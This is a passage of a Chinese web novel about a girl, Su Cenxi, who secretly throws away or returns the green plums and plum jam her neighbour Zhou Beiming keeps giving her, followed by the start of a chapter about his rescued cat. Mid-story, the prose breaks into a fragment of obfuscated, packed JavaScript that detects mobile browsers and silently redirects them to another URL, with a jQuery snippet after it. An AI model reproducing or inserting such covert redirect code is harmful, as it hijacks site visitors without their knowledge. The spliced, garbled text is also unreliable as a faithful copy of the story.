他把刺绣摆到书桌旁,每次抬眼都能瞧见栩栩如生的青梅果林。 他似乎不那么难过了,那不只是一个秘密基地,它也不仅仅是一副刺绣作品。 他回想妈妈曾说的话,重新思考苏岑西到底是怎样一个人。 5. 望五次青梅 岑西从没想过,她有一天竟然惧怕苹果,还惧怕青梅。 明明苏浮胜以前给她买过很多次水果蛋糕,她一次也没觉得可怕。 事情发生在小升初暑假期间。 和周北鸣的姐姐周云笙也脱不了关系。 他们跟他们的朋友一样,比蜘蛛讨厌好几倍。 周北鸣的姐姐周云笙和她的哥哥苏浮胜年纪一样大,他们待在同一个小学,同一个高中,目前都刚读完大一,比她大上七岁。 即便两个哥哥姐姐没有血缘关系,他们也总是一起上学,一起回家。 岑西不明白,这两个很喜欢捉弄人的讨厌鬼怎么会玩到一起。 周云笙曾让她盯着一整箱蜘蛛进食。 那些蜘蛛个个有她的拳头大小,进食在吃活生生的食心虫。 她以为她这辈子见识一次爆汁食心虫的食用方法就足够了,可苏浮胜打破她的幻想。 让她至今在噩梦里重温蜘蛛吞食爆汁活虫。 高三毕业前,苏浮胜的挚友云渔楚购入个人摄像机,他每天跟着挚友拍照,拍视频。 他们还会把不同的视频剪辑在一起,流程像剪辑电影。 高三毕业后,云渔楚拉着苏浮胜和周云笙建立三人共同运营的自媒体账号。 他们在视频平台的注册昵称叫做:“尿床大喵。” 爸爸知道这件事时,竖着眉毛差点打苏浮胜一拳:“你们现在还是学生,做什么自媒体账号?就算做自媒体账号,起码起个像样的昵称,尿床大喵算什么名字?难道要我在朋友问起来时说,没错,我就是博主尿床大喵的爸爸!” “你不觉得这个名字很有记忆点吗?”苏浮胜歪歪扭扭地斜躺在沙发上,“做自媒体肯定要想办法让用户记住你,名字有意思也会吸引人看视频。” “能吸引谁?你就不紧张期末成绩吗?你看看你每天都在做什么丢人现眼的事!” 苏浮胜挑着眉撇撇嘴,视线一秒钟没放在爸爸身上。 “我不会要求你们注销账号,但你以后不能出现在账号里!”爸爸把他拽起来,朝书房走。 “你凭什么对我们说三道四!”苏浮胜甩开爸爸的手,“我凭什么不能做博主,账号内容你看过么,你什么都不了解,没资格对我们扣帽子!” “就凭我是你爸爸,而你现在只是学生。这就是你和父母说话的态度吗?” 苏浮胜瞟爸爸一眼,一言不发地冲出家门。 他一连几天没回家。 当他再次回来后,爸爸要求岑西看好苏浮胜。 如果傍晚时分他没回家,岑西要跟着被关禁闭。 几次之后,他和爸爸再度爆发争吵。 他说,要是爸妈继续无理取闹,就让她到云渔楚的秘密基地找他们。 岑西没有拒绝,她觉得和云渔楚三人的年龄差距更小一些。 而且比起在家关禁闭,有理由出去玩显然好一些。 她的好朋友祝漾见识过他们拍视频的样子,据说他们演技逼真,很吸引人。 但她觉得,能和苏浮胜跟周云笙玩到一起的人,一定是另外一个喜欢捉弄人的讨厌鬼。 岑西在傍晚时分没见到苏浮胜回家,被爸爸命令到书房关禁闭。 她坐在地板没多久,忽然学着苏浮胜的样子,翻出窗户。 谁爱被关禁闭谁就回去待着吧,她才不要因为苏浮胜的过错而惩罚自己。 她跑到云渔楚在高中学校对面租下的房子,讨厌鬼三人组给她吃零食,喝饮料。 次数多了,他们允许她走到客厅与卫生间以外的地方,偶尔会和她说话: “小屁孩,过来看我的成片!” “苏……岑西是吧?要不要听听我这段稿子写得怎么样?” 她很快融入三人组的秘密基地,发现这三个高中生还有另外一个共同爱好——他们都很喜欢养大蜘蛛。 尤其是巴掌大和拳头大的蜘蛛。 她以前见过周云笙徒手捏虫喂蜘蛛,所以当他们邀请她到爬宠房参观蜘蛛时,她犹豫之后还是答应下来。 又不是没见过大蜘蛛,也不是没见过蜘蛛吃爆汁活虫,再见识一次,有什么好怕? 她已经是勇敢的小大人了,连一楼翻窗都做过了。 岑西信心十足,但走进离剪辑室最远的爬宠房,她发现眼前的一切和想象中不一样。 两三个衣柜大小的货架上,整齐摆放数十个蜘蛛饲养盒。 一只比她巴掌大的蜘蛛露出毒牙,一口咬进活蹦乱跳的食心虫身体,眨眼间,食心虫被一击毙命,溢出的虫汁流淌到雪白的蛛网。 周云笙凑到岑西身边,说:“苏岑西,你知道这些蜘蛛为什么这么大吗?” 她脖颈僵硬,扯扯嘴角露出勉强的笑容:“因为品种不一样?” 周云笙啧啧两声,压低声音说:“不,因为他们什么都吃。”周云笙意味深长地拍拍她的肩膀,“你没听说过吗,见过蜘蛛进食的人会变成蜘蛛的食物,你想成为它们的食物吗?” 岑西想起之前被蜘蛛追捕的噩梦。 她后怕地咽咽口水,大喊:“我才不要变成虫子!” 周云笙满意地点点头,忽然把小臂从身后挪到身前:“可它已经闻到食物的味道,朝你跑来了。” 能闻着味道追出饲养盒! 它们哪里来的能力? 苏浮胜每天接触周云笙和云渔楚,他们就不怕被蜘蛛吃掉吗? 岑西瞧一眼苏浮胜,见他若无其事地拉开饲养盒,把一只颜色土棕的大蜘蛛引到手腕。 他用镊子戳两下蜘蛛,把蜘蛛放回饲养盒,然后捏起一只活生生的虫子递到蜘蛛跟前。 蜘蛛的蛛脚控制虫子,顺便按住镊子,周云笙立刻站过去,小声说:“快过来!它露出毒牙了!它要咬这只虫子了!” 蜘蛛咬住虫子,几只蛛脚稳稳当当固定镊子和虫体。虫体蠕动几下,彻底失去生命力。 苏浮胜抽动镊子,蜘蛛嘴里叼着流汁虫体,猛然咬住镊子。 “它想把镊子也拿走!”他动一下镊子,蜘蛛张开蛛腿,摆出攻击姿态。 “真有劲啊,它要生气了!”云渔楚眉开眼笑。 周云笙耸耸肩膀:“快给它吧,不然它要咬你喽。” 岑西盯着巴掌大的蜘蛛嘴里的镊子和虫子,后背渗出冷汗。 走出爬宠房,他们拿给她水果。 她拿起一个苹果,头脑发蒙地咬下一口。 下一秒,她瞥见苹果肉中有一个小小的缺口。 缺口里,有半截食心虫。 半截……食心虫? 岑西乍然呕吐,满脑子都是:“吃了食心虫总不会变成食心虫吧?蜘蛛又要来捕捉了吗?” 她心里发毛。 一周后,她刚从被蜘蛛追捕的噩梦中醒来,就在客厅里遇见周北鸣。 他坐在餐桌边,手里拎着一袋青梅果:“好久不见,苏岑西。你哥哥刚才把我带进来就出门了,我来是想给你送点青梅果。” 岑西嘴角一抽,目光落在他手里的袋子上。 青梅果?是她知道的那个水果吗? “我家在蓝湾石桥旁租下一片果林,六年级结课前我还用果林写了实践报告,它们现在顺利结果了!” “啊,原来是这样。” “我挑出来一些青梅,想让你和叔叔阿姨一起尝尝。”他把袋子递到她面前。 “那……我谢谢你。”她让他把袋子放桌面,然后请他出去。 她小时候很喜欢吃苹果,也很喜欢吃青梅蛋糕。 这两样水果不管怎样都不会难吃。 但她已经在苹果里吃出半截食心虫,还见识了蜘蛛吃掉食心虫的凶猛画面,她才不会继续吃苹果。 更不会吃缩小版的“青苹果”。 她可不想在“小青苹果”里吃出半截食心虫。 尤其这些青梅,还曾抢过她的风头。 六年级结束前,班里腾出时间,举办结课仪式。 所有同学依次走上讲台,分享本学年最有意义的或是最有趣的假期实践活动。 周北鸣的实践报告主题为“青梅观察记录”。 岑西觉得,青梅树的观察并不会有趣,她也不觉得他的报告能有意义。 现成的青梅果树,只要根据时间到果林转悠一圈,就能完成所有实践活动。 他根本不需要额外做什么事。 可他写出全班最长的实践报告,一片青梅林怎么能写出两万多字的报告? 看一眼青梅树,数一数树有多少,记录一下天气,摘一下果子…… 有什么特别! 他竟然还让周云笙帮他拍果林的照片,上学时还专门带来一大袋青梅果。 他就是想讨好其他人。 分明她在主题游乐园的游玩记录才算有趣! 可同学们最后把“最喜欢的实践记录”票数投给周北鸣。 她专门跑到蓝湾石桥,见识过青梅果林的全貌。 那完全不值得让其他人把票投给周北鸣。 他不需要种青梅树,也不需要他摘下高处的青梅果。 他只是投机取巧用青梅获得票数的讨厌鬼。 岑西见北鸣感情充沛地派发青梅果。 他拎着袋子,一把一把地抓出果子,摆到同学们的课桌上。 然后,他拿着实践报告朗诵他在青梅果林见到青梅果成熟的事。 他真的太显眼包了,难道就他见过青梅果林,其他人都没见过。 其他同学都写一千字左右的实践报告,只有他非要写出两万多字。 更何况现在中考结束,周北鸣没有理由专门来她家里炫耀青梅果。 岑西看看装有青梅果的袋子,不久后,爸爸下班回家,走过来问她:“这是谁买来的青梅果?你最近不喜欢吃苹果,更喜欢吃青梅吗?” 她总觉得心里怪怪的。 她抬头看看爸爸,爸爸手里拎着一小袋青苹果。 “如果你想吃,”她指指袋子,“你可以把它们都吃光。” 爸爸放下苹果袋,拿出几颗青梅果走进厨房。 “现在正是吃青梅的时候。”他拧开水龙头,“你还没回答我的问题,岑西。” “我怎么会买青梅果?” “那它们是从哪来的?” “垃圾桶里捡出来的。” “垃圾桶?” “嗯,周北鸣从垃圾桶里捡过来的。” “这样啊。”爸爸走出厨房,手里拿着洗干净的青梅果,“其实你想说,这是他在青梅果林摘下来的果子,是这个意思吗?” “有什么区别吗?那片青梅果林和他们后院的仓库一样脏。” “可这不代表青梅果就存放在他们的仓库里。” 岑西往卧室走:“这和我没关系,反正我不会再吃苹果,也不会再吃青梅果。” 晚上,爸爸煮出苹果甜汤,他提起周北鸣送来的青梅果。 妈妈认为,周北鸣家拿来的东西完全没有吃的必要,它们太脏了,风险太大,吃着一定毫无滋味。 妈妈说从来不吃商场以外的地方卖出的水果,还提起蓝湾石桥的青梅果林。 岑西推推面前装着苹果甜汤的碗,呆坐在椅子上。 苏浮胜喝一口苹果甜汤说:“那片青梅果林要是有问题,早就有人投诉了,怎么会留到现在还让它们结果子?你们是不是想太多了。” 爸爸说儿子说得对。 妈妈依旧苦着脸:“就算青梅果林没问题,也不代表周北鸣家里没问题。” “他们家能有什么问题。”苏浮胜说,嘴角抽搐地放下瓷碗,“恐怕是你心里有问题。” “你们的话都有道理,但我们还不知道他们把青梅果存放在哪里,它们可能不在仓库里。”爸爸捏一颗青梅果。 “那你们打算去问他们吗?”妈妈沉下脸,“问问他们把东西放在哪里。” “让苏岑西去问不就好了?”苏浮胜挑眉看岑西。 “凭什么是我问?”岑西瞪哥哥。 “你和他年龄差不多,六年级又是同班同学,你不去问谁去问?” “你不能问吗?你和周云笙不是关系很好吗?” "苏浮胜!"爸爸叫他,“别这么和你妹妹说话。” “是她不愿意吃青梅果,觉得人家好心送过来的果子有问题,她不该去问吗?” “那你怎么不让妈妈去问!她的意见比我都大!” “苏岑西!够了!”妈妈喊道,“还有你,苏浮胜,吃完了就离开餐厅,别在这里说不该说的话。” “对对对,就你高尚,您老的话是圣旨。怎么?您还想诛我九族啊?”苏浮胜端着苹果甜汤,拿着桌上一盘菜就往卧室走。 “你看看他们两个现在是什么样子!”妈妈骂。 爸爸呼出口气,放下筷子:“我得去看看儿子,岑西,你也别往心里去。” 爸爸敲着苏浮胜的房门。 妈妈拉住岑西的胳膊说:“青梅果是你从周北鸣那里拿过来的,它们放在哪里,有没有问题,该怎么处理,是你该去解决的事情。” “可你比我……” “苏岑西,能不能别让我对你也失望?” “我又不会吃青梅果,我为什么要去做这么丢人的事?” “因为青梅果是你让他留下来的。”妈妈攥紧她的手臂。 “不是我问他要的!是他要拿过来的!” “你就算不去问,也要把这些青梅果处理掉。” “我说了,我不会吃青梅果!” “苏岑西!你要和你哥哥一样让我丢人现眼吗?” “大笨蛋!你快过来!” “明天晚饭前,你会把一切都处理好的,对吗?”妈妈松开她说,“别让我觉得你是个胆小鬼。” 岑西站在原地一会儿,迅速回到房间。 等几分钟,她跑出去,敲苏浮胜的窗户。 她翻进去,抱着哥哥嚎啕大哭。 第二天一早,哥哥送岑西去辅导班。 她告诉祝漾,她觉得妈妈有点可怕。 祝漾挠挠头说:“你妈妈的担心不是没有道理,吃水果进医院的报道你难道没看过吗?问问又不会怎么样。” “直接去他家里问吗?” “或者你能知道他们放青梅的地方在哪里。” “这不还是要问他们吗?” “那你有更好的主意吗?” “暂时没有……但我问了,他们就一定会告诉我青梅存放在哪里吗?” “这个……谁说的准……他们可能说,也可能不说。” “如果他们不说呢?我们要怎么办才好?” “你好钻牛角尖啊!如果他们不说,我们可以自己去找。”祝漾甩甩马尾辫,“跟着他们总有机会知道储藏室在哪里。” “那我试试看,我很担心找不到储藏室要怎么办。” “周北鸣的爸爸妈妈现在上班吗?如果他们两个人都在上班,你跟着周北鸣不就好了?你们住在楼上楼下,青梅竹马的关系没有不能知道的行踪。除了这种做法,你敢直接问他储藏室在哪里吗?如果你要问,记得问青梅有没有打农药?这些都是很重要的事,你可千万不能忘。” “我不知道他的爸爸妈妈有没有在上班,我要是没找到储藏室,还被周北鸣发现我在跟着他,那肯定丢脸死了。” “这没什么可丢脸的,反正我们都是小孩子,就算大人知道了也会原谅我们的。” 岑西不认同她的话,不敢想象真相大白后周北鸣会怎么看她。 她想了想,问:“你要和我一起去吗?帮我一起找储藏室,看青梅有没有打农药。” “你确定?” “嗯,两个人肯定会比一个人找得快。” 祝漾答应下来。 她们两个人在傍晚时分,一从辅导班下课,就直直地跑进岑西家的后院。 她们沿着后院走几分钟,停在周北鸣家的仓库附近。 两个人并排在树边躲着,一边观察仓库,一边留意二楼窗边会不会出现人影。 岑西做足心理准备,跑过来的路上确定没遇见周北鸣。 刚才路过周北鸣家的楼梯间,那里没有停电动车,前院也没有周北鸣家的车,只要她们够迅速,她们就是安全的。 岑西抓着书包背带,身前紧紧贴着祝漾身后的书包。 她确认没其他人盯着后院以后,终于松一口气。 祝漾歪着脑袋看东看西,似乎并不在乎可能会被他人发现。 她都不敢想,被人发现会有多丢人。 周北鸣家的后院仓库脏得没有能下脚的地方,杂草丛生,尘土被风掀起土雾,中间留着不知名动物的粪便,仓库边堆着几个长出霉菌的食品打包盒。 铁皮仓库表面生锈,靠近之后,祝漾望见二楼窗边有一只花猫,它立在窗台边上,两只前爪狂抓纱窗。 祝漾原地蹦两下:“那是不是周北鸣家养的猫?” “那只玳瑁猫和我们没关系,窗户关着,它不可能跑出来!你看到青梅在哪了吗?” “等我看看仓库里面有没有。”祝漾在仓库边找到几个空木箱,拖着摆到仓库矮窗下。 岑西听着吱吱呀呀的声音,瞧见一片灰尘从头顶飘下来。 她闭着眼睛咳嗽几下,再抬头,位置太低,望不见仓库里面。 “你能看到里面的东西吗?”岑西问,“青梅在里面吗?” 祝漾摸摸鼻子:“里面太暗了,什么也看不清,但他们应该不会把青梅放在这里。” “为什么这么说?” 祝漾撇撇嘴:“难道你会把要买的水果放进这么脏的地方吗?” 她扶住祝漾脚下的木箱,环视一周说:“才不会,外面也没有车轮痕迹,可能他们真的没把青梅放在这里。但你看到农药了吗?” “农药?” “对呀,我们不是要看青梅放在哪里,也要看青梅有没有打农药吗?” “啊,窗户下面倒是有几个箱子。”祝漾趴在矮窗边缘。 “箱子长什么样?” 祝漾低头看腿边的岑西,提高声音说:“箱子还能是什么样?” “我让你看箱子里是不是农药!上面没印字吗?” 祝漾探头朝里看,不耐烦道:“苏岑西,你觉得是农药和不是农药有区别吗?上面写着一长串字,偏偏没有农药两个字,就算是农药,我们也认不出来!” 祝漾跺脚,还想往里看,但她们忽然听见前院传来说话声。 她们手忙脚乱绕过仓库,跑回岑西家的后院。 岑西站在树边,听听前院的声音,说:“好像是周北鸣的声音,他回来了?” 祝漾咬牙切齿地骂:“都怪你非要我看箱子上印了什么字。”祝漾蹲在一边问:“你能猜到周北鸣打算去干嘛吗?他会去仓库里吗?” 岑西回答不出,没多久,她望见周北鸣从二楼窗边抱起玳瑁猫。 他握住它的爪子,把它从纱窗上解救下来。 玳瑁猫像新钓出的鱼,扑腾着跳到一边。 他站在窗边,发出咪咪喵喵的声音:“大咪,有没有想我!我等下要去前门储藏室挑青梅!给我抱抱,我给你拿猫草饼干!” 窗户下面就是仓库,旁边就是岑西家后院。 她们把他的话听得清清楚楚。 岑西望着成功抱到猫的周北鸣,忽然觉得这个讨厌鬼好像没有以前讨厌了。 她仰着头发呆一阵。 祝漾拍她肩膀:“快!我们去前门储藏室。”祝漾说:“你一定知道这地方在哪。” 岑西慌张地收回视线,领着祝漾到前门储藏室。 这种储藏室他们这边每家每户都有,大小一致,门的颜色也一样。 它们集中在一起,根据编号排列,位于岑西家门口。 “一号……二号……” “七号……八号……” 岑西数着储藏室的门,“我们家编号是九,周北鸣家编号是十。” 她站在储藏室门前,不知道要怎么面对那些青梅果。 它们抢了她在班级里的风头,甚至周围的居民都知道他家种了青梅树。 她觉得难堪,看着祝漾拉开储藏室的门,一句话说不出来。 周北鸣家没有锁门,可就算她们拉开门,她们也分辨不出来,青梅到底有没有用过农药。 用过农药的青梅长什么样子?没用过农药的青梅长什么样子? 岑西耷拉眼皮,戳一戳祝漾手臂:“里面有青梅吗?” “有,而且有很多筐!” “你能看出来哪些青梅用了农药吗?” 祝漾点头:“现在哪里还有不用农药的水果。” “你确定吗?” “当然啊。青梅青梅,肯定是青色的呀,筐里的青梅有的不是纯青色,这些颜色不纯正的青梅,肯定都是用了农药的青梅。”他走进去打量,“这些绝对都用了农药。” 岑西信以为真。 回家后,妈妈从厨房探出头问:“交代你的事情,都处理完了吗?” 妈妈摘下防水手套,手伸到背后解开围裙。 岑西坐在玄关沙发上换鞋,点点头说:“当然处理好了。”她抬高声音,挺直脊背,“那些青梅都放在前门储藏室里。” 妈妈皱着眉头站到她面前:“一点也没放进后院仓库?” 她不知道妈妈为什么听不明白,她已经说得很清楚了。但她换好鞋子,还是回答道:“没错,一点也没放进仓库。” 妈妈垂着嘴角,审视她:“周北鸣家只告诉你这些?” “当然不是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026101|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他们家还说了什么?” “其实……我根本没去问他们。” “那你怎么知道青梅放在哪里?” “我听到周北鸣说青梅在前门储藏室,就知道了。”岑西有些紧张,而妈妈似乎生气了。 “你连问都没去问吗?” “我已经看过青梅在哪里了,问不问有区别吗?你不相信我的话,可以去问祝漾,她和我一起去看青梅了。” 苏浮胜走出卧室,直接走进厨房。路过岑西,他状似无意地说:“真是胆小鬼,你还不承认。” “你乱说什么!”她冲到厨房门口说,“你才是胆小鬼,大笨蛋苏浮胜。” 苏浮胜端着盘子走出厨房:“爸爸,你听到苏岑西说什么了吗?她带着朋友,未经允许就进了人家的储藏室。她真是被你们惯坏了,不仅仅是胆小鬼,还是傲慢没礼貌的讨厌鬼。” 爸爸扭头看岑西:“苏岑西,事情真是这样吗?” 岑西一瞬间感觉他们三个人都是叛徒,她咬咬嘴唇内侧:“是又怎样?不是你们要我去解决事情的吗?现在事情解决了,你们又想训斥我吗?” “苏岑西!你还好意思说!”妈妈瞪向她,“除了青梅在那里,你没知道其他事吗?” “我知道啊,他们家的青梅都打了农药。” 妈妈眉毛竖着,指着她好久,最后愤愤地坐在餐桌边。 岑西鼻子发酸,有点想哭,“你不是已经知道你想知道的答案了吗?我都说我不会吃青梅,你还是要我去问,问了你又要教训我,你到底想干什么啊!” 爸爸看了看苏岑西,看了看坐在旁边的妻子。 苏浮胜叹一口气,问:“这种事,怎么不去问周北鸣?” “为什么……要去问他,问了……他会说实话吗。” “那你为什么绝对不吃青梅?”苏浮胜不理解。 “你不觉得青梅很恶心吗?可能有虫子在里面,可能有鸟尿在上面。” “你觉得一定是这样吗?” “够了!你们谁爱吃谁去吃吧!”妈妈干呕着捂住嘴巴。 “你刚才说,鸟会尿在上面?”爸爸问。 “青梅果林肯定会有鸟巢,谁知道鸟会不会还在果子上蹭过屎。但不管是鸟的尿,还是鸟的屎,都很恶心,不是吗?” “别再说了,你让我以后怎么面对树上的果子!”妈妈缩着肩膀。 “难道我说错了吗?” 妈妈指着岑西:“看来你根本不想让我吃晚饭了。”妈妈快速站起来,要进洗手台吐一吐。 “你还没吃晚饭。”苏浮胜嚼着饭随口说。 “你们谁爱吃谁吃!”妈妈哀嚎着,停在浴室门口说:“那些青梅果我不会吃了,我可不想因为吃了青梅果就拉肚子,或者得了急性肠炎,你们忘了手机上是怎么说的了吗?” 妈妈钻进浴室。 爸爸重复道:“拉肚子?急性肠炎?”他扭头朝妈妈喊:“你真的这么觉得吗?” “不然有其他解释吗?这样的事情难道没发生过吗?你该多看看手机新闻了!”妈妈在洗手台前朝外喊。 “你也这么觉得吗?”爸爸扭头问苏浮胜。 “那和我有什么关系?”苏浮胜头也不抬。 “为什么这么说?” “你们对青梅有偏见,我可没有,有本事这辈子你们都不要吃水果。”苏浮胜放下碗筷,“而且比起这件事,我竟然今天才知道,我的妹妹是傲慢没礼貌的讨厌鬼。” “苏浮胜!你凭什么说我!”岑西龇他。 “苏岑西,你哥哥说得有些过分,但也不是没有道理。领着朋友不经允许就进别人家的储藏室,确实不礼貌,如果别人以为你们是捣蛋鬼,是别有所图的小偷,你要怎么辩解?那会让我跟着你丢脸!楼上的小屁孩和你一样大,除了性别不一样,他有什么好怕的?” “好了……”爸爸说,“岑芙,她也是你的女儿,是你让她独自解决这件事的……” “但我没让她做出这么不体面的事!” “你还想说什么?” “她和我说青梅在前门储藏室,他们家的青梅都打了农药。可我要的是让她处理掉那小男孩带过来的青梅!” 妈妈尖叫着。 岑西垂着脑袋,眼泪在眼眶打转。 大人怎么总是说一出是一出? 有什么话不能说明白吗? 有什么事情不能一下说完吗? 她刚读完六年级,她怎么知道妈妈的想法? 她又没有妈妈的年纪,智商,以及见解。 岑西觉得委屈。 妈妈和哥哥的话在她脑海里无数次重播。 她吃不下晚饭,刚回房间,妈妈敲门说,让她尽快处理掉家里的青梅果,以后不许拿别人给的水果,让她不要再给家里丢脸。 爸爸停在浴室门口,打断妈妈的话:“她才十一岁,有事情不能慢慢教吗?总在打压训斥有什么用?你看看苏浮胜被你养成什么样子。” “不然要怎么做?和他们家说,你们家的青梅实在太脏太恶心了,我们不愿意有吃青梅拉肚子和得急性肠炎的想法,希望你们家识趣一点,以后离我们家远一点?” “那是你的想法,家里不是每个人都这样觉得。” “苏明夜,你的女儿也在这么觉得,你没听到她哥哥怎么评价她吗?” “这就是你要求她像你一样的原因?” “什么叫像我,她也是你的女儿,有问题你有一半责任。苏岑西,以后别让我再因为你感到难受和丢脸,明白吗?” “知道了。” “别忘记处理家里的青梅果。” 妈妈离开岑西的视线。 岑西以为这件事到此为止。 她照常去辅导班,回到家绝口不提青梅果,也不提周北鸣这个人。 一周后,她再次见到站在家附近的周北鸣。 他提着一袋青梅果,站在傍晚余晖里,朝她露齿笑:“苏岑西!请你吃青梅。” 岑西站在他对面,缓慢地眨眨眼睛。 快拒绝他,说害怕青梅的原因,让他再也不要过来了。 可是他在对她笑,像大金毛一样。 拒绝了,他会呜呜嘤嘤哭鼻子吗? 他把装着青梅果的袋子递过来,蹦蹦跳跳跑远了。 岑西拎着袋子,不知道怎么处理。 扔掉吗? 那是不是太浪费。 留着吗? 妈妈会吃了她的。 岑西纠结着,想起祝漾。 她把青梅果全部拿给祝漾。 祝漾却说,不爱吃青梅,家里其他人对青梅过敏。 岑西没办法,拎着装青梅的袋子,走到周北鸣家门口。 然后,她把青梅果一把一把拿出来,撒在周北鸣家门口的石板上。 她在接下来的两年半时间里,反复这么做。 直到九年级开学前,她的做法第一次失效。 九年级开学前的暑假,青梅果林被人偷摘果子,那群摘果人敲坏剩余青梅,砸断青梅树枝。 那段时间,周北鸣没有再出现。 但在九年级开学第一周的周末,他再次站在她家附近,等她回家。 他这次带来青梅果酱,装进干净的玻璃罐子。 岑西拿着青梅果酱,纠结怎么处理。 果酱不像青梅果,没办法直接撒在门前石板上。 放在家里会被骂。 她思索着,拿着青梅果酱走到二楼。 她停在北鸣家门口,手里握着他刚送过来的青梅果酱罐子。 放下罐子的瞬间,门在吱哇响。 下一秒,周北鸣从门后走出来,站到她的面前。 岑西一惊,手滑中险些把罐子砸在地上。 “你,你要出门吗?”她问他。 “嗯,准备去蛋糕店。” “去那做什么?”岑西深吸一口气,想着该怎么处理身后抓着的青梅罐子。 他没有在她身上乱看,这很方便她继续做些什么事。 只要他下楼梯,她就能把罐子放在他家门口,再溜之大吉。 他们家有那么多青梅果,怎么可能只送给她们家了? 周北鸣绝对发现不了,到底是谁把青梅果撒在门前石板,再把青梅果酱还回来。 岑西站在原地,等着他下楼。 他却一个健步跨过来,指她的身后:“这是什么?”周北鸣问,“是拿给我的礼物吗?” 礼物? 怎么可能? 但这好像是目前最好的借口。 “没错,是给你的礼物。”岑西点点头,“想给你一个惊喜。” 他欣喜若狂,想要看看礼物是什么东西。 她闪躲着,突然见他笑容僵硬下来。 “你手里拿着的,是我刚才给你的青梅果酱吗?”周北鸣问。 他看上去不像活泼大金毛了,像被雨淋湿的可怜大金毛。 岑西辩解着,却见他脸色沉下来。 她只好说实话,说妈妈怕吃了他们家的青梅果,拉肚子或者得急性肠炎。 她还说,他家的仓库和青梅果林确实都很脏,所以才会让人有这种想法。 他说,果酱是蛋糕店老板亲自带着做的,蛋糕店的青梅蛋糕是用他们家的青梅做的,两年半来每次都是。 他还说,烟栊商城每年从他们家进货青梅。 岑西怔愣住,没想到他们家的青梅如此受认可。 他眼眶发红,似乎下一秒就要哭出来,“你知不知道,我每次做青梅果酱给你,需要花多长时间?你知不知道,两年半的青梅果,需要清洗多长时间,挑选多长时间?你以为,我对谁都是这样吗?” 他拿回青梅果酱,一溜烟跑下楼。 擦肩而过的瞬间,岑西瞧见他在掉眼泪。 顺着窗户望出去,他一边大跨步走,一边拽着袖子抹眼泪。 她没想惹哭周北鸣。 而且这些青梅果,青梅果酱,不是她问他要的,是他自己要送过来的。 是他自己要免费送两年半的。 她没要求他送过来的必须是好的青梅,也没命令他送来洗好的青梅,做成青梅制品。 岑西第二次见男生因为她哭。 第一次哭的人是杜若琳,可那时候她除了烦闷,怨言,没有其他感受。 可哭的人变成周北鸣,她怎么心里这么憋屈,不爽快? 她不敢想,今天以后的周北鸣会怎么看她。 再次见面,他会说什么呢? 明明该说下次别送了,要知道他的好意。 她以前可以说出口的话,为什么面对周北鸣就说不出来了? 她为什么这么在乎他的看法? 总不能,真把他当竹马了吧? 6. 望六次青梅 北鸣第一次遇见闯进他家果林的偷果贼。 他以为这件事已经足够悲伤,但在一个多月后,他遇到另外两个大麻烦。 他饲养四年多的猫咪跑丢了,而他一直喜欢的青梅,并没有把他的真心当一回事。 比起猫咪跑丢,青梅的不以为意似乎不是什么大事了。 但北鸣始终不理解,岑西为什么要偷偷摸摸送回青梅。 如果他的小猫还在身边,他可能就有转移注意力的时间。 北鸣的猫陪他很久。 在他搬到烟栊的第二个年头,七岁的他和爸妈一起出门吃火锅。 回去路上降下暴雨,低矮的树丛中传出幼猫虚弱的呼叫。 拥挤的车流里没人下车,妈妈等待堵车情况转好,忽然决定撑伞下车。 她绕到树丛边缘,在溢满水的小土坑内找到一只浑身是血,血肉外翻的幼猫。 它没穿衣服,暴雨下的皮肉明显浮肿,皮毛间有缓慢爬行的虫子,没有牵引绳和项圈。 “它还在流血,根本没力气朝前爬。”她喊爸爸下车,“它不像家养的猫,放在这它会死的。” 北鸣的姐姐头上盖件外套,拉着北鸣跑过去。 他们瞥见树丛下不断哀嚎的小生命。 是猫,一只活着的,还没有家的猫! 北鸣从没想过,他能有机会养一只猫。 以前朋友家养猫时,他羡慕极了。 现在能遇见一只小猫,这一定是不可多得的养猫机会。 即使它不是宠物店里的品种猫,但这又有什么关系呢? 北鸣看向姐姐,姐姐比他更在意小猫的情况,妈妈甚至脱下外套,已经在靠近小猫。 可爸爸站在离猫最远的地方,始终皱着眉头。 要把猫丢在这里吗? 它会被雨淋感冒吧。 他扯扯头上的帽子,听见爸爸说:“我们现在没有养猫的条件。” “周灼年,”妈妈扭头说,“我们只是救一救它,这对我们的孩子很有好处。” “你在劝我为了孩子,收养下它吗?” “他们还很小,需要我们做出榜样。” “你打算怎么做?” “先把它送到兽医站,观察一下情况……如果能救活,等它好起来,我们为它做绝育,再把它放归到这里。” 爸爸为她举着雨伞,摇头道:“绝育会需要另外一笔额外支出。” 周云笙续足力气,跳起来拍爸爸的后背:“铁公鸡,这是为它好!” “但这对我不好。” “爸爸,你忍心看它在这里……”周云笙堵在爸爸身前。 “好吧,好吧,我知道了。”爸爸耷拉肩膀说,“可以救下它,也可以给它做绝育,但它一好你们就得把它放归。” 妈妈昂起脸,得意道:“看吧,孩子们,我们能帮一只猫咪。” 爸爸沉默着,带他们前往兽医站。临下车,他警告道:“只许救治和绝育,不准让它在我们家待太久。” 一个半月后,几个月大的玳瑁猫宣布康复。 两个半月后,它接种疫苗,开始体内外驱虫。 周云笙和周北鸣在家给它安窝,它拥有一个新名字:“大喵。” 一开始,它待在巨大的笼子里,谁喊也不出来。 哪怕笼子不关门,它也只待在笼子角落里。 到北鸣二年级学期末,它开始探索新领地,从窗沿跑到厨房,从厨房窜进卧室。 妈妈欣喜若狂,周云笙也同意加餐——为庆祝大喵终于活泼起来。 只有爸爸全程阴沉着脸。 爸爸说,他的西装上最近总有莫名其妙的污渍。 泛黄的,带着异味的大片污渍。 北鸣和周云笙立刻反应过来,那可能是大喵尿在上面。 可他们不能承认这件事,否则爸爸会对大喵更有意见。 妈妈说:“一定是你聚餐喝酒时撒上去的东西。” 周云笙说:“白色衬衫穿久了总会泛黄,有什么不正常。” 他凑到爸爸的衬衫前,闻到大喵尿液的味道。 加餐时,爸爸还在说污渍的事。 妈妈和姐姐找出无数个偏离正确答案的理由。 